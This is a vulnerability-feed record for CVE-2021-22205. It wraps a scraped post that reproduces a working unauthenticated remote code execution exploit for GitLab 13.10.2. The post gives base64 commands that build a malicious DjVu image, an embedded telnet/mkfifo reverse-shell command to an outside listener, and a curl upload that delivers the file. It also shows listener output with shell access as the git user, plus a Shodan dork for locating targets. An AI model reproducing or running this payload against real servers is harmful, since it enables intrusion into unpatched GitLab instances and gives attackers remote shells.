{"uuid": "54b58cf0-0593-4ac7-b909-ce2d770603fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22205", "type": "seen", "source": "https://t.me/hacking_Attack/31748", "content": "Exploit Collector\nGitLab 13.10.2 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-9u0QXe9ybeo/WWlvU_DnejI/AAAAAAAAIN0/BUl-HrIsuwE3sKywG67Nuv_wLRABID6oQCLcBGAs/s1600/h45.png \nGitLab version 13.10.2 remote code execution exploit that provides a reverse shell.\n\nMD5 | a203e85e39e4798bc3ada54cb3cc7271\n\nDownload\n# Exploit Title: GitLab 13.10.2 - Remote Code Execution (RCE) (Unauthenticated)\n# Shodan Dork: https://www.shodan.io/search?query=title%3A%22GitLab%22+%2B%22Server%3A+nginx%22\n# Date: 11/01/2021\n# Exploit Author: Jacob Baines\n# Vendor Homepage: https://about.gitlab.com/\n# Software Link: https://gitlab.com/gitlab-org/gitlab\n# Version: GitLab Community Edition and Enterprise Edition before 13.10.3, 13.9.6, and 13.8.8\n# Tested on: GitLab Community Edition 13.10.2 and 13.10.1 (Ubuntu)\n# CVE : CVE-2021-22205\n# Vendor Advisory: https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/\n# Root Cause Analysis: https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis?referrer=activityFeed\n\nCode execution is the result of GitLab allowing remote unauthenticated attackers to provide DjVu files to ExifTool (see: CVE-2021-22204). As such, exploitation of GitLab takes two steps. First generating the payload and then sending it.\n\n1. Generating the payload. This generates a DjVu image named lol.jpg that will trigger a reverse shell to 10.0.0.3 port 1270.\n\necho -e\n\"QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgkoQ29weXJpZ2h0ICJcCiIgLiBxeHs=\"\n| base64 -d > lol.jpg\necho -n 'TF=$(mktemp -u);mkfifo $TF && telnet 10.0.0.3 1270 0<$tf$TF' >> lol.jpg\necho -n\n\"fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg==\"\n| base64 -d >> lol.jpg\n\n2. Sending the payload. Any random endpoint will do.\n\ncurl -v -F 'file=@lol.jpg' http://10.0.0.7/$(openssl rand -hex 8)\n\n2a. Sample Output from the reverse shell:\n\n$ nc -lnvp 1270\nListening on [0.0.0.0] (family 0, port 1270)\nConnection from [10.0.0.7] port 1270 [tcp/*] accepted (family 2, sport\n34836)\nwhoami\ngit\nid\nuid=998(git) gid=998(git) groups=998(git)\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:09.331080Z"}